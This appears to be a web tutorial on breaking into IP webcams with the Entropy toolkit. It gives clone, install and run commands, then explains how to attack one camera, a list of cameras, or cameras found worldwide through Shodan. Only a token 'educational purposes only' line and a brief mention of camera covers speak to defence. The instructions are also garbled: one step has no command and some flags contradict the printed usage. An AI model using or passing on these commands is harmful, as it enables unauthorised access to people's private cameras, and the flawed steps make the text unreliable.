Hacking Webcams and cameras is one of the most searched things on the internet. I mean almost every hacker wants to hack webcams and cameras as they give the most sensitive information and with the correct method, eventually they hack computer/ Laptop webcams using various methods, for example, hacking with entropy. Our systems are always connected to the internet and not many people use the camera cover hence vulnerable to hacking. Negligence in Computer security is a boon for hacking webcam for hackers. It is important to use the camera privacy filter to stay safe. So in this tutorial, we will show you how hackers can hack webcams and how you can protect yourself from such a camera hacks:
Hacking Webcams using Entropy
Step 1; The first step is to download the Entropy Toolkit with the following command on Kali Linux
git clone https://github.com/entynetproject/entropy
Step 2: After downloading, you need to open the folder. Now give it the executable access that it needs with the following command:
cd entropy chmod +x install.sh ./install.sh
Step 3: Now that we have given the execution permissions lets run the tool using the following command:
Step 4: Here are all the list of commands you can use in Entropy
usage: entropy [-h] [-b [1|2]] [-o <output_path>] [--timeout <timeout>] [-t <tasks>] [-c <count>] [-q | -v] [-a <ip:port> | -i <input_file> | --shodan <api> | --zoomeye <api>] [-u] [--version] optional arguments: -h, --help show this help message and exit -b [1|2], --brand [1|2] Choose the brand of IP webcam. (1)Netwave, (2)GoAhead. -o <output_path>, --output <output_path> Output to the specified path. --timeout <timeout> Timeout in seconds. -t <tasks>, --task <tasks> Run tasks number of connects in parallel. -c <count>, --count <count> The number of IP you want to get. -q, --quiet Quiet mode. -v, --verbose Verbose mode. -a <ip:port>, --address <ip:port> IP and port of the webcam. -i <input_file>, --input <input_file> List of webcams addresses. --shodan <api> Attack through Shodan. --zoomeye <api> Attack through ZoomEye. -u, --update Update Entropy Toolkit. --version Show Entropy Toolkit version.
Step 5: Now to start hacking webcams we need some basic info such as IP address and port number which can be found using Shodan.
Suppose the IP and port number is 192.168.1.100:80
Then the command will be as follows:
entropy -b 1 -i 192.168.1.100:80 -v
This command will start trying to hack the webcam with the following IP Address.
Now if you want to hack multiple webcams then you can a text file with the list of IP’s and port numbers as shown in the following command:
entropy -b 2 -l iplist.txt -v
Here the file iplist has all the list of webcams IP addresses.
You can also directly connect using Shodan API with the following command. With this command, the shodan API will start searching for vulnerable webcams around the world.
entropy -b 2 -v –shodan <API>
That’s all folks. This is how hackers can hack webcams using an entropy toolkit. Do note this tutorial is for educational purposes only.